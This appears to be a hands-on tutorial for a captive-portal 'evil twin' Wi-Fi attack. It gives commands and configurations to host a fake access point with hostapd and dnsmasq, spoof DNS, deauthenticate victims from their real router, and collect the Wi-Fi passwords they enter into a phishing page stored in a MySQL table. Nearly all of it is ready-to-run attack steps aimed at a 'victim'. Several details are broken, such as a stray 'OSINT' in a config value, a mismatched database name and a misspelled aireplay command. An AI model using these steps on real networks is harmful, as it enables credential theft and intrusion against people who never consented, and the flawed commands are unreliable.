Captive Portal

Dynamic Captive Portal do it all on your own! there are a lot of tools that can make this attack with all the hard work but remember in cyber security it is always great to know how to do it all on your own (I’ll show you also how to do it with those tools to make the attack faster). Let's divide this attack into 4 steps from preparing the environment to launching the attack. Step 1:Preparing the environment. like always will start with updating and upgrading our Linux machine.

              apt-get update       &&       apt-get upgrade

then install our required tools for this attack including Hostapd, Dnsmasq, and apache2. Hostapd will help us host our fake AP. Dnsmasq will work as a DHCP server and will handle DNS requests also. and we will use apache2 to share our fake webpage on the local network.

apt-get install hostapd dnsmasq apache2

then set up your NIC in monitor mode as we learned.

airmon-ng start wlan0

then make a new directory in our home directory with FAP name (Fake Access Point) you can call it whatever you want jump into it and create the Hostapd file

mkdir ~/fap && cd ~/fap && nano hostapd.conf

into this file you should paste this configuration and edit it like you want

# Instructions for hostapd.conf: 

interface=[INTERFACE NAME]
driver=nl80211
ssid=[WiFi NAME]
hw_mode=g
channel=8
macaddr_acl=0OSINT
ignore_broadcast_ssid=0

the same thing with DNS configuration

nano dnsmasq.conf

# Instructions for dnsmasq.conf: 

interface=[INTERFACE NAME]
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

set up the routing table and gateway (edit the IP address like your local IP)

ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

internet access: this step is critical if you want the victim to have internet access if not just skip this step.

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Step 2: MySQL database. first, start SQL service. in one simple command.

service mysql start

after starting the service start the program simply by typing the program name (MySQL). then create a new database called FAP.

create database fap <database name>;

then create a username and assign it to the database so the user can write into it in one simple command.

create user fapuser <USERNAME>;

then grand privileges to the user and assign him a password.

grant all on rogueap.* to 'fapuser'@'localhost' identified by 'fappassword';

use the database.

use fap;

create a data table to store the password entered by the victim.

create table wpa_keys(password1 varchar(40), password2 varchar(40));

change the encoding to “utf8” so it will be readable

ALTER DATABASE fap CHARACTER SET 'utf8';

and this command will show us only the password stored in the database(after the victim entered the WiFi password in the HTML webpage)

select * from wpa_keys;

Step 3: Captiv portal setup. then move the template to this directory then unzipp it inside of the directory using this command →

mv ~/Downloads/fap.zip /var/www/html

unzip fap.zip

then start the apache2 server:

service apache2 start

Step 4: Launch the attack. first to make sure everything is managed right in the attack we should split the screen into 5 windows. Window 1: SQL server. start the program by simply typing “mysql”

mysql

Window2: Hostapd. launch our fake AP.

hostapd hostapd.conf

Window3:Dnsmasq. start Dnsmasq to serve us as a DHCP and a DNS server.

dnsmasq -C dnsmasq.conf -d

Window4: Redirect the traffic. now we need to redirect the traffic to us in order to do this we will use Dnsspoof.

dnsspoof -i wlan0mon

Window5: Deauth attack. simply disconnect the victim from the actual AP as we learned before. see Untitled.

airoplay-ng --deauth <number of authentication message> -a <the router MAC address> -c <the client MAC address> <if its 5GHz network then add -D> <finally the name of your adapter NIC>